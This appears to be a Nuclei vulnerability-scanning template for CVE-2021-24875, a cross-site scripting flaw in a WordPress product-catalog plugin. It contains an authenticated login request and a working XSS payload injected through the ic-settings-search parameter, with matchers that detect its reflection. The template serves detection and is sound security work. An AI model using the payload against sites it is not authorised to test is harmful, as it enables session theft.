WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting

id: CVE-2021-24875

info:
  name: WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.0.39.
  reference:
    - https://wpscan.com/vulnerability/652efc4a-f931-4668-ae74-a58b288a5715
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24875
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24875
    cwe-id: CWE-79
    epss-score: 0.01555
    epss-percentile: 0.7217
    cpe: cpe:2.3:a:implecode:ecommerce_product_catalog:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: implecode
    product: ecommerce_product_catalog
    framework: wordpress
  tags: cve2021,cve,wp,authenticated,wpscan,ecommerce-product-catalog,xss,wordpress,wp-plugin,implecode,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "eCommerce Product Catalog")'
        condition: and
# digest: 4a0a00473045022100c51958ac485b514d9a4c167600279a784d8a65c5fc8888b1886f81ad84e303690220055ef4f198e896f8e3786c67924bd9e293b80c03b181cd84b85b345537e1db0e:922c64590222798bb761d5b6d8e72950